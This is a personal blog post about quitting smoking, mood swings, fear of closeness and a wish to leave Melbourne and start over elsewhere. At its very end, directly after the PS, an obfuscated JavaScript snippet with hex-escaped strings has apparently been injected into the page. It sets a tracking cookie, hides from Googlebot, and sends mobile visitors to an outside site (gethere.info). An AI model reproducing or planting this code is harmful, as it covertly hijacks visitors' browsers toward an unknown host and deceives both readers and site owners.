Torn between wants and needs/Chasing A Dream

Hey all,

Quick update on my progress: Doing okay with the quitting smoking thing, although the mood swings are killer. Still staying active, although i’m not going to measure my progress by kilos lost or anything like that, it’s going to be based more on how I feel.I’m not aiming to be a certain weight, just to be happy with how I am.

Well so far, I like to think I’ve been making some real progress, although my moods ain’t always rosy, I’m doing a lot better than I was. I’m writing a whole lot now. More than even I thought I could, so I see the fluctuating moods as a sort of positive, as I use it as a motivating force to achieve some real goals with my writing. In the last week or so, I’ve written in excess of 20,000 words which I love to bits.

I suppose the problem I’m having is my hate for all things Melbourne, and really wanting to start over someplace else. I’m tired of the shitty depressing weather, and not feeling safe outside the house. I want to be somewhere else, and I need to find my own way somewhere completely different. The last time i remember being really happy was when I left in 2000 to move to Tasmania. It was amazing.

So really, I’m just working out exactly where I want to go. I’m torn between what I want, and what I need.
I want more than anything to just throw caution into the wind and chase a dream, but im not entirely convinced that it will work. But what’s life without a little risk eh? Everyone I’ve spoken to, besides one friend has told me to just go. Do it. But I still have my doubts. I’m not scared to fail, but the problem is in failing somewhere far away is i’m away from anything that could even remotely resemble a “Support Network” which is funny because I don’t really share anything with anyone, so it wouldn’t be any different there than it would be here. There are a couple of people I’d love to be closer with, but it’s not always easy, and trying to get off the cigarettes hasn’t made controlling my moods even easier.

When I’m in a “mood” my natural instinct is to hide/push people away/run.There are a couple of people in my life, who are making a real effort in helping me let them in, but if I do that then they can hurt me, and I don’t know if I want that. But living your life alone is the pits. I know what I want, but its the actual achieving it that is proving to be the obstacle. I’m not scared to try, and fail. Its trying and having it work that is the scariest part. If I have someone special in my life, how exactly do I go into everything that has been rattling around in my head for the past 15 years. I can write wonderful poetry, and I can express myself in writing, but having those words pass my lips is harder than I ever imagined.

I try have to evolve and advance as a human, and learn from my mistakes. If there is an underlying theme in all the problems with my life it’s my obsessions.

I’m naturally obsessive.It has its positives and negatives. As a positive, it allows me to really focus on things and get an amazing amount of work done, but negatively, once something gets stuck in my head, it becomes all I can think about. I cant stop thinking about it, and this includes girls at times. I don’t very often feel anything real for someone, I’m more prone to infatuations and lusting. I get bored very quickly. But when I really care it’s terrible. I find myself leaping in excitement every time my phone makes a noise, just in case its from her. And I hate being so out of control.

The problem is when you take something too seriously, you stop being yourself. It is what it is, and you can’t change any outcome, as much as you’d like to. Deep down, I don’t like complications, I like things being pretty easy going. But I have to be completely honest when I say… I complicate EVERYTHING. And I hate that I do. I’m an all or nothing guy. And I latch on more than I’d like to, I suppose its because I rarely do it, that it comes on like it does. I get close, then I push them away. It’s what I’ve always done. And I see myself doing it, and I still do it. But I’m trying to change. I’ve already made some changes compared to what I used to do. I try and sort problems out, instead of leaving it alone and obsessing about how much of a fuckup I am, I try and clear the air and stumble through trying to explain my feelings, even though I can’t always find the words…

I am what I am, I like who I am but I have my moments when I doubt myself a lot of the time. I feel off positive energy, but once the negative energy tends to fester deep down and I can’t stand it, thats why I always try and surround myself with positive infulences, and try (as much as I can) to talk to people whom I want to, the problem is when people want me to open up and I can only stand them in small doses. It takes all the willpower I have not to tell them to “Fuck Off”

Negative people always drag you down, and you pay too much attention to them. They become a focus instead of focusing on things that bring you joy, happiness and wisdom. I’m trying to grow, and evolve as a person, and I’m starting to realize, that I don’t have any time for you if you drag me down. Regardless of history, if you’re slowing killing me, it’s time to say goodbye. Sadly, some friends have an agenda. Some like to keep you down so they can take advantage and try and pick you up. Some keep you down to make themselves feel better. Some just need someone to bitch and moan to, and only really care about themselves.

We all deserve happiness and passion for our lives and those in it. I’m working out for myself who I want to keep in my life, I’d rather have no friends than some who only bring me down, not lift me up. Besides my sister, I don’t have anyone else I’d want to stay around for. I think it’s why the idea of leaving is so appealing to me. Perhaps it’s my fault for building so many walls. Sure there are people I’d love to know better, and perhaps i’d feel differently, but i can’t stay for sure.

So I’m chasing a dream.

To be happy, creative and free from all this negative energy. Life is far too short to waste on shit that makes us miserable. If anything i’m in a position to make a change, as I dont have anything keeping me here, not anymore.

I’ll keep you posted.

Til Next Time….

PS: I’d appreciate if you’d leave some comments, if you have some words of advice or just to offer some support. If you wanna hate or tell me I can’t do something, don’t waste your time and mine. Don’t Hate. It’s far too damaging for our souls. Positivity is infectious, and we all deserve to bask in it’s light. Sounds like hippy shit, I know. But it’s true.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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